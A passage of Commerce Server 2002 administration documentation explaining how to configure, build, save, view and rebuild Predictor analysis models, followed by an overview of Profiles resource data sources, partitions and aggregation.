  5. Select the model configurations you want to set up.

    Notes

    • You can choose to select the Commerce Server default schema for all of the properties used in the model configurations by clicking Use Defaults. If you click Use Defaults, and the default tables and columns are properly configured, you will continue to the Completion dialog box when you click Next.
  6. To continue, click Next.

    Note

    • If you do not select a model configuration on the Configuration Selection dialog box, it will not be created.
  7. In the Transactions Model Configuration dialog box, do the following:
    Use this | To do this
    Setup Transactions model configuration | Select this check box to set up transactions model configuration.
    Table or View name | From the drop-down list, select the name of the table or view transactional data from your Web site.
    User ID | From the drop-down list, select the name of the column in the selected table that contains the buyer user data.
    SKU | From the drop-down list, select the name of the column in the selected table that contains stock-keeping unit (SKU) data.
    Quantity | From the drop-down list, select the name of the column in the selected table containing the Quantity data.
  8. Click Next.
  9. On the Demographics Model Configuration dialog box, do the following:
    Note
    • At least one property must be used to create the Demographics model configuration. You can uncheck properties that you do not want to use in the model configuration.
    Use this | To do this
    Table or view name | From the drop-down list, select the name of the table or view containing the demographic data of your users.
    User ID | From the drop-down list, select the name of the column in the selected table that contains the user data.
    Age | From the drop-down list, select the name of the column in the database containing the age of the user.
    Marital Status | From the drop-down list, select the name of the column in the database containing the Marital Status of the user.
    Gender | From the drop-down list, select the name of the column in the database containing the Gender of the user.
    Income | From the drop-down list, select the name of the column in the database containing the Income of the user.
    Education | From the drop-down list, select the name of the column in the database containing the Education level of the user.
    Children | From the drop-down list, select the name of the column in the database containing the number of Children of the user.
    Family Role | From the drop-down list, select the name of the column in the database containing the Family Role of the user.
    Region | From the drop-down list, select the name of the column in the database containing the country/region of the user.
    Use Defaults | Click to set the mapping for all properties used by this model configuration to the Commerce Server default schema. The default commerce server schema gathers the data from UriQuery, Visits and Request tables, which are populated by the Web Log Import DTS task.
  10. Click Next.
  11. In the Product Browsing Model Configuration dialog box, do the following:
    Use this | To do this
    User ID | From the drop-down list, select the name of the column in the selected table that contains the browsing user data.
    Page ID | From the drop-down list, select the name of the column in the selected table containing data about Web page identifiers a user has browsed.
    Page Head Count | From the drop-down list, select the name of the column in the selected table containing data about the number of times a user has viewed the Web page.
    Use Defaults | Click to set the mapping for all properties used by this model configuration to the Commerce Server default schema. The default commerce server schema gathers the data from UriQuery, Visits and Request tables, which are populated by the Web Log Import DTS task.
  12. Click Next.
  13. In the Ad Click Model Configuration dialog box, do the following:

    Note

    • The Ad Click model configuration depends on the previously set model configurations. For example, if you select Transaction data, the source data will be collected from the Transaction model configuration. In order for the model to be properly built, the values of the user id columns should match in all of the selected sources. If your browsing data is gathered from logged users but your demographics data is gathered from registered users, then using both as data sources will result in a corrupted model.
    Use this | To do this
    Transaction data | Select this check box to use transaction data for predicting ad clicks. You must select at least one data source for predicting ad clicks.
    Demographic data | Select this check box to use demographic data of registered users for predicting ad clicks. You must select at least one data source for predicting ad clicks. If you select this option, the ad click model configuration will use transaction and product browsing data for registered users only.
    Product browsing data | Select this check box to use Product browsing data for predicting ad clicks. You must select at least one data source for predicting ad clicks.
    Table or view name | From the drop-down list, select the name of the table or view containing the data about ads users clicked.
    User ID | From the drop-down list, select the name of the column in the selected table containing the User ID data.
    Ad ID | From the drop-down list, select the name of the column in the selected table that contains data about which ads were shown or clicked.
    ClicksNum | From the drop-down list, select the name of the column in the selected table that contains data about the number of times the ad was clicked by the user. If an ad was shown, but not clicked, the value of ClicksNum should be 0.
  14. Click Next.
  15. On the Completing the Model Configuration Setup Wizard page, click Finish.

The selected model configurations are set up for your site and added to the Predictor resource. You can use the model configurations to build prediction and segment models.

See Also

Building a New Analysis Model

Deploying Predictor

Securing a Predictor Deployment


Building a New Analysis Model

You can build multiple analysis models for each site. The model build process is resource intensive, so it is recommended that you build an analysis model only when the impact on your computer will be minimal.

Before you build an analysis model, you set up model configuration using the Predictor Model Configuration Setup Wizard. After you have set up model configuration, you can build the analysis model using the Predictor resource in the Commerce Server Manager and then use Model Builder DTS task to schedule automatic rebuilding of the analysis model. For information about the Model Builder DTS task, see the Running the Model Builder DTS Task.

Important

  • If you are using an analysis model for real-time online predictions, it is highly recommended that you copy your analysis model on to the Web server. This way you can secure your Data Warehouse behind a firewall and still make use of the Prediction model. For more information, see Deploying Predictor and Securing a Predictor Deployment.

The time required to build an analysis model depends on the size of the input data (total number of cases), the sample size, the number of properties in the data, and the hardware and topology of your servers.

Important

  • You can build only one analysis model at a time.

To build a new analysis model

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Model Configurations.
  2. In the details screen, right-click the model configuration you want to use to build an analysis model, and then click Build.
  3. In the Model Build Properties dialog box, do the following:
    Use this | To do this
    Name | Type a name for the analysis model.
    Model type | Select from the drop-down list either prediction or segment for this model.
  4. Click Next.
  5. In the second screen of the Model Build Properties dialog box, do the following:
    Use this | To do this
    Sample size Type the number of cases that are used to build the analysis model. You can change the default value if necessary.

    For example, if you have a large table with 200,000 cases, you may want to specify that the Predictor resource use only 20,000 cases to build the analysis model.

    The default is -1 for less than 20,000 cases, and 20,000 for more than 20,000 cases.
    Measured accuracy sample fraction Type the fraction of the sample data you want to use to automatically score the accuracy of the model, as a number between 0.0 and 1.0.

    For example, if you type 0.0 as the value of the Measured accuracy sample fraction option, the model will not be scored.

    If you type 0.4, 40 percent of the sample data will be used to score the model.

    (The remaining 60 percent will be used to build the model.)
    Measured accuracy maximum predictions Type the maximum number of recommendations to be presented on your site (used to compute the Recommendation Score).

    The default is 10 properties.
    Input property fraction Type the fraction of properties to be used as input to the predictions as a number between 0.0 and 1.0.

    For example, specifying an input property fraction of 0.05 selects the most significant 5 percent of input properties.

    The default value is 1.0, which includes all properties as inputs for prediction.

    Values less than 1.0 are recommended if the number of properties is very large, such as product recommendations for a catalog with over 1,000 products.
    Output property fraction Type the fraction of properties to be predicted as a number between 0.0 and 0.1.

    For example, specifying an output property fraction of 0.05 results in decision trees being built for the most significant 5 percent of properties.

    (If the output properties are products, this will return trees for the 5 percent most popular products.)

    The default value is 1.0, which produces trees for all properties.

    Values less than 1.0 are recommended if the number of properties is very large, such as product recommendations for a catalog with over 1,000 products.
    Number of Segments | Type the maximum number of segments in which to partition the users. This value provides a rough estimate for the algorithm, which may find fewer significant segments than this value. This value is only available if you are building a Segment model.
    Buffer size Type the size of the buffer that will be used to read cases during segmentation.

    The default is 1 megabyte.

    The buffer size can affect the build time and quality of the model.

    For example, if the model contains many properties, you should set a large buffer size.

    The system resources of the computer running the Predictor resource determine buffer size limitations.

    This value is only available if you are building a Segment model.
  6. Click Finish.

The status of the build process appears in the details screen.

During the build process, the status is Building. When the build process is finished, the status is Idle. If the build process is unsuccessful, a message that describes the problem appears in the details screen and is written to the Commerce Server 2002 Application Log. You can use Event Viewer to view the Application Log.

See Also

Business Analysis Objects

Deploying Predictor

Securing a Predictor Deployment

Viewing Analysis Model Configuration Tables

Best Practices for the Predictor Resource

Saving and Importing Models


Saving and Importing Models

You can save your existing analysis models to a disk or any network location. This way the model can be placed anywhere on the network to meet your Commerce Server deployment and security needs. You can also import analysis models into the Commerce Server Data Warehouse or an external Database where the Predictor Resource is stored.

Important

  • If your Web Server(s) must be able to access analysis models you have saved, your site will not function correctly.
  • You must save analysis model files manually.

To save an analysis model

To import an analysis model

To save an analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In the Models content pane, select the model you want to save, and then click Save model on the toolbar at the bottom of the screen.
  4. In the Save model to a file dialog box, enter the file name and location where you want to save the model, and then click Save.

    Prediction model files are saved with the extension *.PMF, whereas the segment model files are saved with the extension *.SMF

  5. In the Saving an analysis model to a file dialog box, click OK.

To import an analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In the Models content pane click Import model on the toolbar at the bottom of the screen.
  4. In the Import model from file dialog box, do the following:
    Use this | To do this
    File name | Type the name of the file to import.
    Model name | Type a name for the model.
    Destination data warehouse | Select the name of the Data Warehouse to which you want to import the properties.
    Model configuration | Select the name of the model configuration.
  5. Click OK.

See Also

Deploying Predictor

Securing a Predictor Deployment


Viewing Analysis Model Configuration Tables

You can view the analysis model configuration tables and columns using Microsoft SQL Server Enterprise Manager.

To view the analysis model configuration tables

  1. Expand Microsoft SQL Servers, expand SQL Server Group, expand the server that contains the database you want to view, expand Databases, expand the database that contains the tables you want to view, and then click Tables.

    A list of all the tables in the database you selected appears in the details screen.

  2. In the details screen, double-click the name of the table that contains the columns you want to view. The model configuration table names are PredictorModelCfgs, PredictorDataTables, and PredictorAttributes_<ModelName>.

The Table Properties - <table name> dialog box appears containing a list of the column names and associated attributes.

See Also

Analysis Model Configurations

Analysis Models

Viewing Analysis Models

PredictorModels Table


Viewing Analysis Models

You can view the Prediction models that you created with Commerce Server 2002 using the Prediction Model Viewer, accessed through Commerce Server Manager. The Prediction Model Viewer contains two views: Dependency Network view and Decision Tree view.

For information about how to view Segment models, see Viewing a Segment Model.

To view a Prediction model

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.

The Prediction Model Viewer appears with the model you chose in Dependency Network view (the default).

See Also

Using Dependency Network View

Using Decision Tree View

Viewing a Segment Model


Using Dependency Network View

You use Dependency Network view to view your Prediction models as graphs.

This section contains:

  • Finding All Available Nodes in Dependency Network View
  • Using the Slider in Dependency Network View
  • Arranging the Layout in Dependency Network View
  • Zooming In and Out in Dependency Network View
  • Enlarging and Shrinking Nodes in Dependency Network View
  • Using Fit to Page in Dependency Network View
  • Viewing Decision Tree Details in Dependency Network View


Finding All Available Nodes in Dependency Network View

Use the Find toolbar button to display a list of all the available nodes in Dependency Network view. This option is useful when your model contains hundreds of nodes because you can quickly access a specific node.

To find a node

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. On the Edit menu, click Find on the toolbar. The Node Finder dialog box appears.
  4. In the Node Finder dialog box, in the Node Name box, type part of or the entire name of the node you want to find.

    The Node Finder dialog box

  5. Select none, one, or both of the following options:
    • To view all hidden nodes, check the Show hidden nodes box.
    • To view all nodes connected to the node you want to find, check the Add Linked Nodes box.
  6. Click Go to Node.

The Prediction Model Viewer displays the node you are searching for in Dependency Network view, or it displays the node you are searching for and all the nodes connected to the node you are searching for in Dependency Network view, depending on the options you selected in the previous steps.

Note

  • To find a node and then view it in Decision Tree view, click Show Tree on the Node Finder dialog box.


Using the Slider in Dependency Network View

You can use the slider in Dependency Network view to hide the weakest dependencies in your model.

To use the slider

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Point to the top of the slider, hold down your left mouse button, and drag the slider to the stopping point you want to view.


Arranging the Layout in Dependency Network View

You can change the default layout arrangement of your model in Dependency Network view. You may want to change the layout if it is difficult to see the dependencies that you want to view.

To change the layout arrangement

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Improve Layout on the toolbar to stop the layout improvement process, and then drag one or more nodes to a better position on the screen.

    Note

    • To start the layout improvement process, and return to an automatic layout of the nodes, click Improve Layout on the toolbar to automatically layout all nodes again.

All connecting nodes and arcs are moved into the new position.


Zooming In and Out in Dependency Network View

You can enlarge (zoom in) or reduce the size (zoom out) of a Prediction model as it appears in the Prediction Model Viewer. You may need to enlarge or reduce the model size in order to view details about a particular area of the model.

To zoom in

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Zoom In on the toolbar.

The model is enlarged 10 percent in the Prediction Model Viewer.

To zoom out

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Zoom Out on the toolbar.

The model is reduced 10 percent in the Prediction Model Viewer.


Enlarging and Shrinking Nodes in Dependency Network View

You can enlarge or shrink the nodes in a Prediction model without changing the size of the model itself in Dependency Network view.

To enlarge nodes

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Improve Layout on the toolbar to stop layout improvement, click a node, and then click EnlargeNode on the toolbar to enlarge the nodes.

The nodes grow. Click Improve Layout on the toolbar to continue layout improvement. If the layout process determines that the nodes are not in proportion, it adjusts them.

To shrink nodes

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Improve Layout on the toolbar to stop layout improvement, click a node, and then click Shrink Nodes on the toolbar.

The nodes shrink. Click Improve Layout on the toolbar to continue layout improvement. If the layout process determines that the nodes are not in proportion, it adjusts them.


Using Fit to Page in Dependency Network View

You use the "Fit to Page" option to scale a Prediction model so that it will fit in the viewing area of the Prediction Model Viewer.

To scale a model to fit in the Prediction Model Viewer viewing area

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Click Fit to Page on the toolbar.

The model is scaled to fit within the boundaries of the viewing area in the Prediction Model Viewer.


Viewing Decision Tree Details in Dependency Network View

You can view the decision tree details of your Prediction model from Dependency Network view.

To view decision tree details from Dependency Network view

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the node that contains the decision tree details you want to view.

The Prediction Model Viewer changes to Decision Tree view, showing the decision tree for that node.

To return to Dependency Network view after viewing the decision tree details

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. To exit Decision Tree view and return to Dependency Network view, click Back Button on the toolbar.

Decision Tree view changes to Dependency Network view.


Using Decision Tree View

You use the Predictor resource decision tree to analyze your analysis model.

This section contains:

  • Zooming In and Out in Decision Tree View
  • Enlarging and Shrinking Nodes in Decision Tree View
  • Using Fit to Page in Decision Tree View
  • Using Return to Graph in Decision Tree View


Zooming In and Out in Decision Tree View

You can change the size of a Prediction model as it appears in Decision Tree view in order to view details about a particular area of the model or to view the entire model.

To zoom in

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Click Zoom In on the toolbar.

Decision Tree view of the model is enlarged 10 percent in the Prediction Model Viewer.

To zoom out

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Click Zoom Out on the toolbar.

Decision Tree view of the model is reduced 10 percent in the Prediction Model Viewer.


Enlarging and Shrinking Nodes in Decision Tree View

You can enlarge or shrink the nodes in a Prediction model without changing the size of the model itself.

To enlarge nodes

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Select the node you want to enlarge, and then click Enlarge Node on the toolbar.

To shrink nodes

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Select the node you want to shrink, and then click Shrink Node on the toolbar.


Using Fit to Page in Decision Tree View

You use the "Fit to Page" option to scale a Prediction model so that it will fit in the viewing area of the Prediction Model Viewer.

To scale a model to fit in the Prediction Model Viewer viewing area

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Click Fit to Page on the toolbar.

The model is scaled to fit within the boundaries of the viewing area in the Prediction Model Viewer.


Using Return to Graph in Decision Tree View

You use the Return to Graph option to exit from Decision Tree view and return to Dependency Network view.

To exit Decision Tree view and return to Dependency Network view

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the Prediction model you want to view, and then click View Model.
  3. Double-click the model node that contains the decision tree details you want to view.
  4. Click Return to Graph on the toolbar.

Decision Tree view closes and Dependency Network view opens.


Manually Rebuilding an Analysis Model

You can rebuild an analysis model in two ways:

  • Use the Predictor resource to rebuild an analysis model manually. This procedure is explained in this topic.
  • Use the Model Builder DTS task in the Data Warehouse to schedule automatic rebuilding and archiving of analysis models. For more information about using the Data Warehouse to schedule automatic model building, see Automatically Rebuilding Analysis Models.

Rebuilding an analysis model is necessary when one of two events occurs: the current model data file is corrupt or the data used to build the model has changed substantially since the last model build.

To manually rebuild an analysis model

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the model you want rebuild, and then click Rebuild.
  3. In the Model Build Properties dialog box, click Next to accept the model information you previously entered.
  4. In the Model Build Properties dialog box, click Finish to accept the model information you previously entered.

The analysis model starts building, showing the build status on the details screen as Running. After the model is built, the build status changes to Idle.

See Also

Building a New Analysis Model

Viewing Analysis Models


Automatically Rebuilding Analysis Models

You use the Model Builder DTS task to automatically rebuild analysis models. You use the Predictor resource to build analysis models manually before you use the Model Builder task to rebuild models. After you build a model manually using the Predictor resource, you can use the Model Builder task to schedule automatic rebuilding of the analysis model.

Each time an analysis model is built, it is based on the data currently in the Data Warehouse. It is important to rebuild analysis models when you think your Web site or user behavior has changed or when a long period of time has passed without rebuilding an analysis model.

You can use the Model Builder DTS task to rebuild analysis models for a specified site or for all sites associated with a specified Data Warehouse.

Note

  • After you build a model, you can set the Predictor Refresh interval property, which specifies how often the PredictorClient object should check to determine if a model reload is necessary.

    The PredictorClient object uses the Refresh interval property it got when initialized to determine when next to check the Administration database. If the Refresh interval property is set to 2 days, then the PredictorClient object will check the Administration database in two days.

    For instructions, see Deploying Predictor.

To rebuild analysis models

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. Select the package you want to change, and then click Open.

  3. On the Task menu, click Model Builder (Commerce Server).
  4. In the Model Builder Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this task.
    Source type | Select either Site or Data Warehouse from the drop-down list.
    Site name Select the site name from the drop-down list. If you selected Site as the source type, you must select the site for which you want to rebuild an analysis model.

    Note

    • If no site was selected when an analysis model was build from an analysis configuration model, select unknown for the Site name.
    Data Warehouse name | Select the name of the Data Warehouse from the drop-down list. If you selected Data Warehouse as the source type, you must select the Data Warehouse associated with the sites for which you want to rebuild an analysis model. This option will also rebuild all the models on all the Web sites at the same time.
    Model to rebuild | Select an analysis model from the drop-down list.
  5. In the Archive properties section, do the following:
    Use this | To do this
    Archive current model | Select this check box to archive the analysis model. Using this option you can review your old model and trace changes in the new model.
    Archived model name suffix | Select either Date of rebuild or Version number from the drop-down list.
    Archived model name | Type a model name if you want to use anything other than the default name provided.
  6. In the Retry properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times (between 0 and 255) you want the DTS task to retry if encountered with erroneous data or fail-over. The default number of retries is 10.
    Time between attempts (seconds) | Type the amount of time in seconds (between 1 and 3600) you want the DTS task to wait before it attempts to retry. The default timeout interval is 30 seconds.
  7. Click OK.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you it completed successfully.

  9. Click OK, and then click Done.

The specified analysis model is rebuilt with current data from the Data Warehouse.

See Also

Deploying Predictor

Securing a Predictor Deployment


Renaming an Analysis Model

When you rename an analysis model, verify that the Web site using the model is also updated and that no other site is using the model under the old name, or else the model will be inaccessible.

Caution

  • Your site may not be able to start if the site attempts to reload a model that no longer exists.

To rename an analysis model

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the model you want to rename, and then click Rename.
  3. Type a new name for the model, and then press ENTER.
  4. In the <model name> renaming confirmation dialog box, click Yes to accept the changes.

See Also

Building a New Analysis Model

Viewing Analysis Models


Deleting an Analysis Model

Before you delete an analysis model, verify that your Web site is no longer using that model, or else your site will not be able to load the analysis model.

Caution

  • Your site may not be able to start if the site attempts to load a model that no longer exists.
  • After you delete a model, it cannot be restored; you must create a new model.

To delete an analysis model

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Models.
  2. In the details screen, right-click the model you want to delete, and then click Delete.
  3. In the <model name> delete confirmation dialog box, click Yes to delete the model.

The model is deleted from the list of available models.


Monitoring the Predictor Resource

You can monitor the status of your analysis models through Commerce Server Manager or you can use performance counters to help you monitor the performance of the Predictor resource for prediction time, model load time, number of times a model is loaded, or the total number of predictions made.

When you view the current status of an analysis model, the following information is displayed in the details screen:

  • Model Name
  • Model Type
  • Size of the Model Generated
  • Date/Time the Model Was Generated
  • Time Taken to Build the Model
  • Status of service (the status can be one of the following: Building Model, Idle, Running, Stopping, Stopped, or Paused)
  • Source Model Configuration
  • Recommended Score
  • Data Fit Score

If you receive the message Build Failed, open the Event Viewer to view the event log. Depending on the type of failure that occurred, you should be able to adjust the appropriate parameters and rebuild the model. Additionally, failures may be due to bad data in the source tables or incorrect data mapping information in the model configuration.

The Predictor resource has four performance counters, one (the Client Avg Prediction Time counter) that allows you to measure how fast predictions are occurring, and three others that count how often certain operations on the PredictorClient object are being called.

For more information about Predictor performance counters, see Predictor Resource Performance Counters.

See Also

Best Practices for the Predictor Resource

Analyzing Model Effectiveness


Running the Profiles Resource

You use the Commerce Server Profiles resource to manage the collection of user data on your Web site. For example, you can create profile definitions that control the data that is collected from users on your Web site. You can specify the data that is collected with a profile definition, and specify whether a particular piece of data is exported to the Commerce Server Data Warehouse.

You can create data sources that determine the location where the data is stored when it is collected. You can create site terms to provide users with a limited set of options to choose from when they respond to data collection questions on your site, such as a list of colors from which to choose their favorite color.

This section contains:

  • Workflow for Profiles. Illustrates the workflow for managing profiles.
  • About the Profiles Resource. Describes the features and functionality of the Profiles resource.
  • Profiles Name and Size Restrictions. Lists the name and size restrictions for profiles.
  • Best Practices for Profiles. Provides important information about creating and managing your profiles.
  • Configuring the Profiles Resource Connection String. Explains how to change the connection string for the Profiles resource.
  • Managing Data Sources in the Profiles Resource. Explains how to create, change, add, and delete data sources, data objects, and data members.
  • Managing Profile Definitions in the Profiles Resource. Explains how to create, change, validate, embed, copy, add, and delete profile definitions.
  • Managing Profile Properties in the Profiles Resource. Explains how to change, organize, and delete profile properties and property custom attributes.
  • Managing Encrypted Profile Properties. Explains how to add and manage encrypted profile properties. In addition, it explains public/private keys, one-way hashing, and other important security features.
  • Managing Site Terms in the Profiles Resource. Explains how to create, change, and delete site terms and site term values.
  • Exporting and Importing Profile Schema. Explains how to export and import profile schema to an XML file to facilitate moving profile schema from a test environment to a production server.
  • Managing Preexisting Accounts in Active Directory Stores. Explains how to configure the search container and search scope for Active Directory data sources.


Workflow for Profiles

The following figure illustrates the workflow for creating data sources and profile definitions.

Workflow for the Profiles resource

  1. You create a new data source to expose Commerce Server databases and Lightweight Directory Access Protocol (LDAP) sources to the Profiles resource.
  2. You add a new data object to expose a database table (or an LDAP class) to the Profiles resource.
  3. You add new data members to expose columns in a database table (or attributes in an LDAP class) to the Profiles resource.
  4. You add a new profile definition that uses the data object to map to the database.
  5. You add a new property to the profile definition and assign it a data member.
  6. You add a site term to a profile definition.


About the Profiles Resource

You use the Profiles resource to collect, track, and store data from and about users by creating data sources, profile definitions, and site terms. You use profile definitions to collect user and business data from your Microsoft Commerce Server 2002 Web site. You use data sources as a link to the underlying data server (LDAP or DB3 source). You create site terms to provide a limited set of choices for users when they enter personal preferences or other information on your Web site.

You use the Profiles resource to:

  • Create data sources, data objects, and data members
  • Create and validate profile definitions
  • Export and import profile schema

You can use both the Profiles resource and the Business Desk Profiles modules to:

  • Create, edit, and delete site terms
  • Edit and delete profile definitions
  • Create, edit, and delete profiles

This section contains:

  • Profile Data Sources
  • Data Source Partitions
  • Profile Data Aggregation
  • Sample Profile Data Sources
  • Profile Cache Coherency
  • Encrypted Profile Properties


Profile Data Sources

You use data sources to expose your data store to the Profiles resource, so that the data collected on your Web site, with profile definitions, can be stored in the data store. Commerce Server 2002 supports OLE DB databases and Lightweight Directory Access Protocol (LDAP) sources.

Data sources contain the following components:

  • Data objects. Expose a table in an OLE DB database or a class in an LDAP source to a profile definition. The process of creating a data object does not create a new table in your database or a new class in your LDAP source. Instead, creating a data object makes the table or LDAP class visible to the Profiles resource. The table or class must exist before you create a data object to expose it.
  • Data members. Expose a column in a table in an OLE DB database or an attribute of a class in an LDAP source to a profile property. For example, you use a profile definition to collect information from users when they register on your Web site. The user information (such as first name, last name, and e-mail address) is collected by profile properties. Each property is associated with a data member, which maps (or directs) the information collected to the database column or LDAP attribute that will store it.

    When you create a data member, you do not create a new column in your database table or a new attribute in the class in your LDAP source. Instead, you make the column or LDAP attribute visible to the Profiles resource. The column or attribute must exist before you create a data member to expose it.

The following figure shows how data storage, data sources, and profile definitions fit together in the Profiles resource.

Connections between data storage, data sources, and a profile definition

You can partition data sources to store data mapped to a single data source to multiple data stores, and you can aggregate data stores by mapping the properties of a profile definition to multiple data sources.

See Also

Data Source Partitions

Profile Data Aggregation

Sample Profile Data Sources

Profile Definitions

Creating a New Data Source in the Profiles Resource

Managing Data Sources in the Profiles Resource


Data Source Partitions

You use the Profiles resource to create partitioned data sources. Commerce Server 2002 supports data source partitioning to accommodate site traffic that can exceed 25 million SQL Server users, and 10 million Active Directory users.

Partitioning is an effective means to scale and maintain the database transaction loads associated with large populations of users. Each partition of a data source can connect to a database or a Lightweight Directory Access Protocol (LDAP) source.

All of the partitions for a single data source must connect to the same type of data storage (OLE DB database or LDAP source), and all data stores mapped to the partitions of a single data source must have the same schema.

With a partitioned data source, the individual databases offer better performance and response times than if all of the data collected with a profile definition is stored in a single database.

This section contains:

  • Using Partitions to Map Data Sources to Multiple Databases
  • Custom Attributes for Profile Data Source Partitions


Using Partitions to Map Data Sources to Multiple Databases

You use profile data source partitions to map profile data to your data stores.

When you use partitions to map a data source to multiple OLE DB databases or LDAP sources, the data storage devices (OLE DB databases or LDAP sources) for a single data source must have identical schemas. For example, if you create a partitioned data source that maps to three databases, the table definitions for all three databases must be identical. Commerce Server data sources support a maximum of 128 total partitions.

Before you add partitions to a data source, you must plan the number and type of partitions. The Profiles resource does not support repartitioning or provide dynamic partitioning. If you need to change the number of partitions in a data source, you must create a new data source.

Caution

  • A data source with multiple partitions mapped to Microsoft Active Directory will disable the Organizations module in Commerce Server Business Desk. This happens when you partition the data source for the organization profile. It is not known which partition the provider created the organization in. Therefore, you cannot create the default groups (for example, administrators) in the organization.

Data source partitions use hashing keys to connect data mapped across partitions. To map the properties of a profile definition to a partitioned data source, one property of the profile definition must be designated as the hashing key.

See Also

Using Hashing Keys to Store Profile Definition Data in Multiple Databases


Custom Attributes for Profile Data Source Partitions

You can add custom attributes to a data source partition. Custom attributes are application specific.

Typically, the attributes that are common to all profile definitions or data stores are stored in the ClassDef or SourceDef table. However, there might be specific attributes that apply only to selected data source objects.

For example, you can create a custom attribute to maintain the sort order of data sources or partitions on a data source, or to help you maintain consistency with other objects, such as member definition and source definition objects.

Data source custom attributes are available only within the Profiles resource; you cannot access them through the Business Desk Profiles modules.

The following table lists the Data Source Partition Custom Attributes.

Custom attribute | Description | Values
ConnectionCount | Specifies the number of connections in the pool for the data store. | The minimum number of connections is 2. If this attribute is not defined, the default (10) is used.
ConnectionRetryCount | Specifies the number of retries on a failed SQL Server connection. | If this attribute is not defined, the default (10) is used.
ConnectionRetryWait | Specifies the number of seconds to wait before the next attempt. | If this attribute is not defined, the default (30 seconds) is used.

For information about adding custom attributes to a data source, see Adding a Custom Attribute to a Data Source.


Profile Data Aggregation

You can aggregate data stores by mapping the properties of a profile definition to multiple data sources. This benefits site developers working with the profile object and avoids working directly with the underlying data sources. In addition, the site can expose data from line-of-business (LOB) systems, leaving the data where it is (and avoids migrating or synchronizing the data).

The Profiles resource can aggregate data from a wide variety of data sources. For example, it supports any LDAPv3 data source and any relational database with an OLEDB/ODBC (OLEBD/Open Database Connectivity) provider supporting a simple subset of ANSI SQL. It is also capable of supporting non-persistent data stores, such as the Internet Locator Service (ILS).

The architecture of the data aggregation layer in the provider supports LOB stores with minimal LDAPv3 support, or an OLEDB/ODBC provider with minimal ANSI-SQL support. For information about the data aggregation layer, see Aggregation Across Multiple Data Sources.

